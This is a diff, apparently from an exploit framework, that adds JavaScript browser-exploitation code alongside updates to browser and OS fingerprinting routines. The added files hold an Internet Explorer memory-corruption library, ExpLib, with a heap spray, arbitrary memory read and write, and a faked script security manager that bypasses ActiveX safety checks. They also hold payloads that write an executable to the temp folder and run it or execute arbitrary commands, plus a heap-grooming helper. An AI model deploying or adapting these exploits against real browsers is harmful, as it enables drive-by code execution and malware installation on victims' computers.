|
//
|
||||||
|
if (foundVersion == null) {
|
||||||
|
var pluginsCount = navigator.plugins.length;
|
||||||
|
for (i=0; i < pluginsCount; i++) {
|
||||||
|
var pluginName = navigator.plugins[i].name;
|
||||||
|
var pluginVersion = navigator.plugins[i].version;
|
||||||
|
if (/Shockwave Flash/.test(pluginName) && pluginVersion != undefined) {
|
||||||
|
foundVersion = navigator.plugins[i].version;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return foundVersion;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Returns the Java version
|
* Returns the Java version
|
||||||
**/
|
**/
|
||||||
|
|
|
@ -20,6 +20,7 @@ arch_armle = "armle";
|
||||||
arch_x86 = "x86";
|
arch_x86 = "x86";
|
||||||
arch_x86_64 = "x86_64";
|
arch_x86_64 = "x86_64";
|
||||||
arch_ppc = "ppc";
|
arch_ppc = "ppc";
|
||||||
|
arch_mipsle = "mipsle";
|
||||||
|
|
||||||
window.os_detect = {};
|
window.os_detect = {};
|
||||||
|
|
||||||
|
@ -184,10 +185,16 @@ window.os_detect.getVersion = function(){
|
||||||
} else if (platform.match(/arm/)) {
|
} else if (platform.match(/arm/)) {
|
||||||
// Android and maemo
|
// Android and maemo
|
||||||
arch = arch_armle;
|
arch = arch_armle;
|
||||||
|
} else if (platform.match(/x86/)) {
|
||||||
|
arch = arch_x86;
|
||||||
|
} else if (platform.match(/mips/)) {
|
||||||
|
arch = arch_mipsle;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
if (navigator.userAgent.match(/android/i)) {
|
if (navigator.userAgent.match(/android/i)) {
|
||||||
os_flavor = 'Android';
|
os_flavor = 'Android';
|
||||||
}
|
}
|
||||||
}
|
|
||||||
} else if (platform.match(/windows/)) {
|
} else if (platform.match(/windows/)) {
|
||||||
os_name = oses_windows;
|
os_name = oses_windows;
|
||||||
}
|
}
|
||||||
|
@ -196,8 +203,7 @@ window.os_detect.getVersion = function(){
|
||||||
if (!ua_version || 0 == ua_version.length) {
|
if (!ua_version || 0 == ua_version.length) {
|
||||||
ua_is_lying = true;
|
ua_is_lying = true;
|
||||||
}
|
}
|
||||||
} else if (!document.all && navigator.taintEnabled ||
|
} else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
|
||||||
'MozBlobBuilder' in window) {
|
|
||||||
// Use taintEnabled to identify FF since other recent browsers
|
// Use taintEnabled to identify FF since other recent browsers
|
||||||
// implement window.getComputedStyle now. For some reason, checking for
|
// implement window.getComputedStyle now. For some reason, checking for
|
||||||
// taintEnabled seems to cause IE 6 to stop parsing, so make sure this
|
// taintEnabled seems to cause IE 6 to stop parsing, so make sure this
|
||||||
|
@ -213,7 +219,9 @@ window.os_detect.getVersion = function(){
|
||||||
// Thanks to developer.mozilla.org "Firefox for developers" series for most
|
// Thanks to developer.mozilla.org "Firefox for developers" series for most
|
||||||
// of these.
|
// of these.
|
||||||
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
|
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
|
||||||
if (css_is_valid('cursor', 'cursor', 'grab')) {
|
if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) {
|
||||||
|
ua_version = '28.0';
|
||||||
|
} else if (css_is_valid('cursor', 'cursor', 'grab')) {
|
||||||
ua_version = '27.0';
|
ua_version = '27.0';
|
||||||
} else if (css_is_valid('image-orientation',
|
} else if (css_is_valid('image-orientation',
|
||||||
'imageOrientation',
|
'imageOrientation',
|
||||||
|
@ -876,12 +884,60 @@ window.os_detect.getVersion = function(){
|
||||||
os_flavor = "7";
|
os_flavor = "7";
|
||||||
os_sp = "SP1";
|
os_sp = "SP1";
|
||||||
break;
|
break;
|
||||||
|
case "9016502":
|
||||||
|
// IE 9.0.8112.16502 / Windows 7 SP1
|
||||||
|
ua_version = "9.0";
|
||||||
|
os_flavor = "7";
|
||||||
|
os_sp = "SP1";
|
||||||
|
break;
|
||||||
|
case "9016506":
|
||||||
|
// IE 9.0.8112.16506 / Windows 7 SP1
|
||||||
|
ua_version = "9.0";
|
||||||
|
os_flavor = "7";
|
||||||
|
os_sp = "SP1";
|
||||||
|
break;
|
||||||
|
case "9016514":
|
||||||
|
// IE 9.0.8112.16514 / Windows 7 SP1
|
||||||
|
ua_version = "9.0";
|
||||||
|
os_flavor = "7";
|
||||||
|
os_sp = "SP1";
|
||||||
|
break;
|
||||||
|
case "9016520":
|
||||||
|
// IE 9.0.8112.16520 / Windows 7 SP1
|
||||||
|
ua_version = "9.0";
|
||||||
|
os_flavor = "7";
|
||||||
|
os_sp = "SP1";
|
||||||
|
break;
|
||||||
|
case "9016526":
|
||||||
|
// IE 9.0.8112.16526 / Windows 7 SP1
|
||||||
|
ua_version = "9.0";
|
||||||
|
os_flavor = "7";
|
||||||
|
os_sp = "SP1";
|
||||||
|
break;
|
||||||
|
case "9016533":
|
||||||
|
// IE 9.0.8112.16533 / Windows 7 SP1
|
||||||
|
ua_version = "9.0";
|
||||||
|
os_flavor = "7";
|
||||||
|
os_sp = "SP1";
|
||||||
|
break;
|
||||||
case "10016720":
|
case "10016720":
|
||||||
// IE 10.0.9200.16721 / Windows 7 SP1
|
// IE 10.0.9200.16721 / Windows 7 SP1
|
||||||
ua_version = "10.0";
|
ua_version = "10.0";
|
||||||
os_flavor = "7";
|
os_flavor = "7";
|
||||||
os_sp = "SP1";
|
os_sp = "SP1";
|
||||||
break;
|
break;
|
||||||
|
case "11016428":
|
||||||
|
// IE 11.0.9600.16428 / Windows 7 SP1
|
||||||
|
ua_version = "11.0";
|
||||||
|
os_flavor = "7";
|
||||||
|
os_sp = "SP1";
|
||||||
|
break;
|
||||||
|
case "10016384":
|
||||||
|
// IE 10.0.9200.16384 / Windows 8 x86
|
||||||
|
ua_version = "10.0";
|
||||||
|
os_flavor = "8";
|
||||||
|
os_sp = "SP0";
|
||||||
|
break;
|
||||||
case "1000":
|
case "1000":
|
||||||
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
||||||
ua_version = "10.0";
|
ua_version = "10.0";
|
||||||
|
@ -896,7 +952,32 @@ window.os_detect.getVersion = function(){
|
||||||
if (!ua_version) {
|
if (!ua_version) {
|
||||||
// The ScriptEngine functions failed us, try some object detection
|
// The ScriptEngine functions failed us, try some object detection
|
||||||
if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
|
if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
|
||||||
|
// IE 11 detection, see: http://msdn.microsoft.com/en-us/library/ie/bg182625(v=vs.85).aspx
|
||||||
|
try {
|
||||||
|
if (document.__proto__ != undefined) { ua_version = "11.0"; }
|
||||||
|
} catch (e) {}
|
||||||
|
|
||||||
|
// IE 10 detection using nodeName
|
||||||
|
if (!ua_version) {
|
||||||
|
try {
|
||||||
|
var badNode = document.createElement && document.createElement("badname");
|
||||||
|
if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; }
|
||||||
|
} catch(e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
// IE 9 detection based on a "Object doesn't support property or method" error
|
||||||
|
if (!ua_version) {
|
||||||
|
try {
|
||||||
|
document.BADNAME();
|
||||||
|
} catch(e) {
|
||||||
|
if (e.message.indexOf("BADNAME") > 0) {
|
||||||
|
ua_version = "9.0";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// IE8 detection straight from IEBlog. Thank you Microsoft.
|
// IE8 detection straight from IEBlog. Thank you Microsoft.
|
||||||
|
if (!ua_version) {
|
||||||
try {
|
try {
|
||||||
ua_version = "8.0";
|
ua_version = "8.0";
|
||||||
document.documentElement.style.display = "table-cell";
|
document.documentElement.style.display = "table-cell";
|
||||||
|
@ -905,6 +986,7 @@ window.os_detect.getVersion = function(){
|
||||||
// but not IE8, regardless of mode
|
// but not IE8, regardless of mode
|
||||||
ua_version = "7.0";
|
ua_version = "7.0";
|
||||||
}
|
}
|
||||||
|
}
|
||||||
} else if (document.compatMode) {
|
} else if (document.compatMode) {
|
||||||
ua_version = "6.0";
|
ua_version = "6.0";
|
||||||
} else if (window.createPopup) {
|
} else if (window.createPopup) {
|
||||||
|
|
|
@ -0,0 +1,426 @@
|
||||||
|
|
||||||
|
|
||||||
|
ExpLib = (function() {
|
||||||
|
|
||||||
|
function ExpLib( num_arrays, arr_size, base, payload ) {
|
||||||
|
this.arr1 = null;
|
||||||
|
this.arr2 = null;
|
||||||
|
this.base = base;
|
||||||
|
this.arr_size = arr_size;
|
||||||
|
this.arr_arr = null;
|
||||||
|
// Allows to control the contents of the sprayed memory.
|
||||||
|
// Have into account some array positions will be corrupted
|
||||||
|
// while leaking and modifying things.
|
||||||
|
this.arr_contents = [];
|
||||||
|
|
||||||
|
this.payload = payload;
|
||||||
|
this.modules = {}
|
||||||
|
this.getproc = null;
|
||||||
|
this.loadlibrary = null;
|
||||||
|
|
||||||
|
// Offset to the Origin URL in the Stream, modifying it
|
||||||
|
// allows to bypass msado15.SecurityCheck(), allowing
|
||||||
|
// for example to write stream contents to filesystem.
|
||||||
|
this.stream_origin = 0x44;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.resolveAPI = function( modulename, procname ) {
|
||||||
|
var module = this.resolveModule( modulename );
|
||||||
|
|
||||||
|
return this.callAPI( this.getproc, module, this.allocateString(procname) );
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.resolveModule = function( modulename ) {
|
||||||
|
if ( this.modules[modulename] )
|
||||||
|
return this.modules[modulename];
|
||||||
|
|
||||||
|
var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
|
||||||
|
this.modules[modulename] = module;
|
||||||
|
return module;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.spray = function() {
|
||||||
|
this.arr_arr = new Array( num_arrays );
|
||||||
|
|
||||||
|
var decl = "[";
|
||||||
|
|
||||||
|
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
|
||||||
|
decl += '0,';
|
||||||
|
}
|
||||||
|
|
||||||
|
decl += '0';
|
||||||
|
decl += ']';
|
||||||
|
|
||||||
|
for ( var i = 0; i < num_arrays; ++ i ) {
|
||||||
|
this.arr_arr[i] = eval(decl);
|
||||||
|
for(var j = 0; j < this.arr_contents.length; j++) {
|
||||||
|
this.arr_arr[i][j] = this.arr_contents[j];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// Should be used before calling spray()
|
||||||
|
ExpLib.prototype.setArrContents = function(contents) {
|
||||||
|
for(var i = 0; i < this.arr_size && i < contents.length; i++) {
|
||||||
|
this.arr_contents[i] = contents[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.setValue = function(i1, i2, v) {
|
||||||
|
this.arr_arr[i1][i2] = v;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ExpLib.prototype.setValueByAddr = function(index, addr, v) {
|
||||||
|
this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.read32 = function(addr) {
|
||||||
|
if ( addr % 4 ) {
|
||||||
|
// error
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( addr >= this.arr2_member_base ) {
|
||||||
|
return this.arr2[(addr - this.arr2_member_base)/4];
|
||||||
|
} else {
|
||||||
|
return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.write32 = function(addr, value) {
|
||||||
|
if ( addr % 4 ) {
|
||||||
|
// error
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( value >= 0x80000000 )
|
||||||
|
value = -(0x100000000 - value);
|
||||||
|
|
||||||
|
//alert(((addr - this.arr2_member_base)/4).toString(16));
|
||||||
|
if ( addr >= this.arr2_member_base ) {
|
||||||
|
this.arr2[(addr - this.arr2_member_base)/4] = value;
|
||||||
|
} else {
|
||||||
|
this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.read8 = function(addr) {
|
||||||
|
var value = this.read32( addr & 0xfffffffc );
|
||||||
|
switch ( addr % 4 ) {
|
||||||
|
case 0: return (value & 0xff);
|
||||||
|
case 1: return ((value >> 8) & 0xff);
|
||||||
|
case 2: return ((value >> 16) & 0xff);
|
||||||
|
case 3: return ((value >> 24) & 0xff);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.write8 = function(addr, value) {
|
||||||
|
var original_value = this.read32( addr & 0xfffffffc );
|
||||||
|
var new_value;
|
||||||
|
|
||||||
|
switch ( addr % 4 ) {
|
||||||
|
case 0:
|
||||||
|
new_value = (original_value & 0xffffff00) | (value & 0xff);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 1:
|
||||||
|
new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
this.write32( addr & 0xfffffffc, new_value );
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ExpLib.prototype.writeBytes = function(addr, bytes) {
|
||||||
|
for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
|
||||||
|
var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
|
||||||
|
((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
|
||||||
|
|
||||||
|
this.write32( addr + i, value );
|
||||||
|
}
|
||||||
|
|
||||||
|
for ( ; i < bytes.length; ++ i ) {
|
||||||
|
this.write8( addr + i, bytes[i] );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.writeString = function(addr, s) {
|
||||||
|
var bytes = [];
|
||||||
|
var i = 0;
|
||||||
|
for ( ; i < s.length; ++ i ) {
|
||||||
|
bytes[i] = s.charCodeAt(i);
|
||||||
|
}
|
||||||
|
|
||||||
|
bytes[i] = 0;
|
||||||
|
|
||||||
|
this.writeBytes( addr, bytes );
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.writeStringW = function(addr, s) {
|
||||||
|
var bytes = [];
|
||||||
|
var i = 0;
|
||||||
|
for ( ; i < s.length; ++i ) {
|
||||||
|
bytes[i * 2] = s.charCodeAt(i);
|
||||||
|
bytes[i * 2 + 1] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bytes[s.length * 2] = 0;
|
||||||
|
bytes[s.length * 2 + 1] = 0;
|
||||||
|
|
||||||
|
this.writeBytes( addr, bytes );
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.read16 = function(addr) {
|
||||||
|
if ( addr % 2 ) {
|
||||||
|
// error, not aligned
|
||||||
|
}
|
||||||
|
|
||||||
|
var value = this.read32( addr & 0xfffffffc );
|
||||||
|
switch ( addr % 4 ) {
|
||||||
|
case 0: return (value & 0xffff);
|
||||||
|
case 1: return ((value >> 8) & 0xffff);
|
||||||
|
case 2: return ((value >> 16) & 0xffff);
|
||||||
|
case 3: /*not supported*/ break;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.strequal = function(addr, s) {
|
||||||
|
for ( var i = 0; i < s.length; ++ i ) {
|
||||||
|
if ( this.read8(addr + i) != s.charCodeAt(i) )
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ExpLib.prototype.getModuleBase = function(addr) {
|
||||||
|
|
||||||
|
var cur_addr = addr;
|
||||||
|
|
||||||
|
while ( cur_addr > 0 ) {
|
||||||
|
|
||||||
|
if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
|
||||||
|
return cur_addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
cur_addr -= 0x10000;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
|
||||||
|
var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
|
||||||
|
var cur_table = import_table;
|
||||||
|
|
||||||
|
while ( cur_table < import_table + 0x1000 ) {
|
||||||
|
|
||||||
|
var name_addr = base + this.read32(cur_table + 12);
|
||||||
|
if ( this.strequal( name_addr, name ) ) {
|
||||||
|
var iat = base + this.read32(cur_table + 16);
|
||||||
|
var func = this.read32(iat);
|
||||||
|
while ( 0 == func ) {
|
||||||
|
iat += 4;
|
||||||
|
func = this.read32(iat);
|
||||||
|
}
|
||||||
|
|
||||||
|
return this.getModuleBase( func & 0xFFFF0000 );
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
cur_table += 20;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.getProcAddress = function(base, procname) {
|
||||||
|
var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
|
||||||
|
var num_functions = this.read32( export_table + 20 );
|
||||||
|
var addr_functions = base + this.read32( export_table + 28 );
|
||||||
|
var addr_names = base + this.read32( export_table + 32 );
|
||||||
|
var addr_ordinals = base + this.read32( export_table + 36 );
|
||||||
|
|
||||||
|
for ( var i = 0; i < num_functions; ++ i ) {
|
||||||
|
var name_addr = this.read32( addr_names + i * 4 ) + base;
|
||||||
|
if ( this.strequal( name_addr, procname ) ) {
|
||||||
|
var ordinal = this.read16( addr_ordinals + i * 2 );
|
||||||
|
var result = this.read32( addr_functions + ordinal * 4 ) + base;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.searchBytes = function(pattern, start, end) {
|
||||||
|
|
||||||
|
if ( start >= end || start + pattern.length > end )
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
var pos = start;
|
||||||
|
while ( pos < end ) {
|
||||||
|
for ( var i = 0; i < pattern.length; ++ i ) {
|
||||||
|
if ( this.read8(pos + i) != pattern[i] )
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( i == pattern.length ) {
|
||||||
|
return pos;
|
||||||
|
}
|
||||||
|
|
||||||
|
++ pos;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ExpLib.prototype.getError = function(msg) {
|
||||||
|
return this.err_msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.setError = function(msg) {
|
||||||
|
this.err_msg = msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.setStreamOrigin = function(offset) {
|
||||||
|
this.stream_origin = offset;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.getStreamOrigin = function() {
|
||||||
|
return this.stream_origin;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.memcpy = function(dst, src, size) {
|
||||||
|
var i = 0;
|
||||||
|
for ( ; i < size - 4; i += 4 ) {
|
||||||
|
this.write32( dst + i, this.read32(src + i) );
|
||||||
|
}
|
||||||
|
|
||||||
|
for ( ; i < size; ++ i ) {
|
||||||
|
this.write8( dst + i, this.read8(src + i) );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.go = function() {
|
||||||
|
|
||||||
|
var i = 0;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
for ( ; i < this.arr_arr.length - 1; ++ i ) {
|
||||||
|
this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
|
||||||
|
|
||||||
|
if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
|
||||||
|
this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
|
||||||
|
this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
|
||||||
|
|
||||||
|
this.arr_arr[i + 1].length = 0x3fffffff;
|
||||||
|
|
||||||
|
if ( this.arr_arr[i+1].length == 0x3fffffff ) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( i >= this.arr_arr.length - 1 ) {
|
||||||
|
this.setError( "Cannot find array with corrupt length!" );
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.arr1_idx = i;
|
||||||
|
this.arr2_idx = i + 1;
|
||||||
|
|
||||||
|
this.arr1 = this.arr_arr[i];
|
||||||
|
this.arr2 = this.arr_arr[i + 1];
|
||||||
|
|
||||||
|
this.arr2_base = this.base + 0x1000;
|
||||||
|
this.arr2_member_base = this.arr2_base + 0x20;
|
||||||
|
|
||||||
|
var func_addr = this.leakAddress(ActiveXObject);
|
||||||
|
var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
|
||||||
|
|
||||||
|
//alert(script_engine_addr.toString(16));
|
||||||
|
|
||||||
|
var original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
||||||
|
if ( !original_securitymanager ) {
|
||||||
|
// let security manager to be valid
|
||||||
|
try {
|
||||||
|
var WshShell = new ActiveXObject("WScript.shell");
|
||||||
|
} catch (e) {}
|
||||||
|
|
||||||
|
original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
||||||
|
}
|
||||||
|
|
||||||
|
var original_securitymanager_vtable = this.read32(original_securitymanager);
|
||||||
|
var securitymanager_size = 0x28;
|
||||||
|
var fake_securitymanager = 0x1a1b2010;
|
||||||
|
var fake_securitymanager_vtable = fake_securitymanager + 0x28;
|
||||||
|
//alert(original_securitymanager.toString(16));
|
||||||
|
|
||||||
|
this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
|
||||||
|
this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
|
||||||
|
this.write32( fake_securitymanager, fake_securitymanager_vtable );
|
||||||
|
this.write32(script_engine_addr + 0x21c, fake_securitymanager);
|
||||||
|
|
||||||
|
var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
|
||||||
|
var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
|
||||||
|
var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
|
||||||
|
|
||||||
|
|
||||||
|
this.write32( fake_securitymanager_vtable + 0x14,
|
||||||
|
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
|
||||||
|
|
||||||
|
this.write32( fake_securitymanager_vtable + 0x10,
|
||||||
|
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
|
||||||
|
|
||||||
|
this.payload.execute(this);
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* restore
|
||||||
|
*/
|
||||||
|
|
||||||
|
this.write32( script_engine_addr + 0x21c, original_securitymanager );
|
||||||
|
|
||||||
|
return true;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.leakAddress = function(obj) {
|
||||||
|
this.arr_arr[this.arr2_idx + 1][2] = obj;
|
||||||
|
return this.read32(this.arr2_member_base + 0x1008);
|
||||||
|
}
|
||||||
|
|
||||||
|
ExpLib.prototype.switchStreamOrigin = function(stream) {
|
||||||
|
var obj = this.leakAddress(stream);
|
||||||
|
var stream_obj = this.read32(obj + 0x30);
|
||||||
|
//var url_addr = this.read32(stream_obj + 0x3c);
|
||||||
|
var url_addr = this.read32(stream_obj + this.stream_origin);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* bypass domain check
|
||||||
|
*/
|
||||||
|
this.writeStringW( url_addr, 'file:///C:/1.htm' );
|
||||||
|
}
|
||||||
|
|
||||||
|
return ExpLib;
|
||||||
|
|
||||||
|
})();
|
|
@ -0,0 +1,33 @@
|
||||||
|
function payload_drop_exec(pe) {
|
||||||
|
|
||||||
|
this.execute = function(explib) {
|
||||||
|
|
||||||
|
var WshShell = new ActiveXObject("WScript.shell");
|
||||||
|
var temp = WshShell.ExpandEnvironmentStrings("%TEMP%");
|
||||||
|
var filename = temp + "\\a.exe";
|
||||||
|
|
||||||
|
var bStream = new ActiveXObject("ADODB.Stream");
|
||||||
|
var txtStream = new ActiveXObject("ADODB.Stream");
|
||||||
|
bStream.Type = 1;
|
||||||
|
txtStream.Type = 2;
|
||||||
|
|
||||||
|
bStream.Open();
|
||||||
|
txtStream.Open();
|
||||||
|
|
||||||
|
explib.switchStreamOrigin(txtStream);
|
||||||
|
|
||||||
|
txtStream.WriteText(pe);
|
||||||
|
txtStream.Position = 2;
|
||||||
|
txtStream.CopyTo( bStream );
|
||||||
|
txtStream.Close();
|
||||||
|
|
||||||
|
explib.switchStreamOrigin(bStream);
|
||||||
|
|
||||||
|
bStream.SaveToFile(filename, 2);
|
||||||
|
bStream.Close();
|
||||||
|
|
||||||
|
oExec = WshShell.Exec(filename);
|
||||||
|
}
|
||||||
|
|
||||||
|
return this;
|
||||||
|
}
|
|
@ -0,0 +1,10 @@
|
||||||
|
function payload_exec(cmd) {
|
||||||
|
|
||||||
|
this.execute = function(explib) {
|
||||||
|
|
||||||
|
var WshShell = new ActiveXObject("WScript.shell");
|
||||||
|
var oExec = WshShell.Exec(cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
return this;
|
||||||
|
}
|
|
@ -0,0 +1,192 @@
|
||||||
|
//heapLib2 namespace
|
||||||
|
function heapLib2() { }
|
||||||
|
|
||||||
|
//These are attributes that will not actually create a bstr
|
||||||
|
//and directly use the back-end allocator, completely bypassing the cache
|
||||||
|
var global_attrs = ["title", "lang", "class"];
|
||||||
|
|
||||||
|
heapLib2.ie = function(element, maxAlloc)
|
||||||
|
{
|
||||||
|
//128mb
|
||||||
|
this.maxAlloc = 0x8000000;
|
||||||
|
|
||||||
|
//make sure that an HTML DOM element is passed
|
||||||
|
if(!element.nodeType || element.nodeType != 1)
|
||||||
|
throw "alloc.argument: element not valid";
|
||||||
|
|
||||||
|
this.element = element;
|
||||||
|
|
||||||
|
if(maxAlloc)
|
||||||
|
this.maxAlloc = maxAlloc;
|
||||||
|
|
||||||
|
//empty the cache
|
||||||
|
this.Oleaut32EmptyCache();
|
||||||
|
this.Oleaut32FillCache();
|
||||||
|
this.Oleaut32EmptyCache();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.newelement = function(element)
|
||||||
|
{
|
||||||
|
//make sure that an HTML DOM element is passed
|
||||||
|
if(!element.nodeType || element.nodeType != 1)
|
||||||
|
throw "alloc.argument: element not valid";
|
||||||
|
|
||||||
|
this.element = element;
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
|
||||||
|
{
|
||||||
|
if(typeof(cache_ok)==='undefined')
|
||||||
|
cache_ok = false;
|
||||||
|
else
|
||||||
|
cache_ok = true;
|
||||||
|
|
||||||
|
//make sure the attribute name is a string
|
||||||
|
if(typeof attr_name != "string")
|
||||||
|
throw "alloc.argument: attr_name is not a string";
|
||||||
|
|
||||||
|
//make sure that the attribute name is not already present in the html element
|
||||||
|
if(this.element.getAttribute(attr_name))
|
||||||
|
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||||
|
|
||||||
|
//ensure the size is a number
|
||||||
|
if(typeof size != "number")
|
||||||
|
throw "alloc.argument: size is not a number: " + size;
|
||||||
|
|
||||||
|
//make sure the size isn't one of the special values
|
||||||
|
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
|
||||||
|
throw "alloc.argument: size cannot be flushed from cache: " + size;
|
||||||
|
|
||||||
|
if(size > this.maxAlloc)
|
||||||
|
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||||
|
|
||||||
|
//the size must be at a 16-byte boundary this can be commented out but
|
||||||
|
//the allocations will be rounded to the nearest 16-byte boundary
|
||||||
|
if(size % 16 != 0)
|
||||||
|
throw "alloc.argument: size be a multiple of 16: " + size;
|
||||||
|
|
||||||
|
//20-bytes will be added to the size
|
||||||
|
//<4-byte size><data><2-byte null>
|
||||||
|
size = ((size / 2) - 6);
|
||||||
|
|
||||||
|
//May have to change this due to allocation side effects
|
||||||
|
var data = new Array(size).join(cache_ok ? "C" : "$");
|
||||||
|
|
||||||
|
var attr = document.createAttribute(attr_name);
|
||||||
|
this.element.setAttributeNode(attr);
|
||||||
|
this.element.setAttribute(attr_name, data);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
//These items will allocate/free memory and should really
|
||||||
|
//only be used once per element. You can use a new element
|
||||||
|
//by calling the 'newelement' method above
|
||||||
|
heapLib2.ie.prototype.alloc_nobstr = function(val)
|
||||||
|
{
|
||||||
|
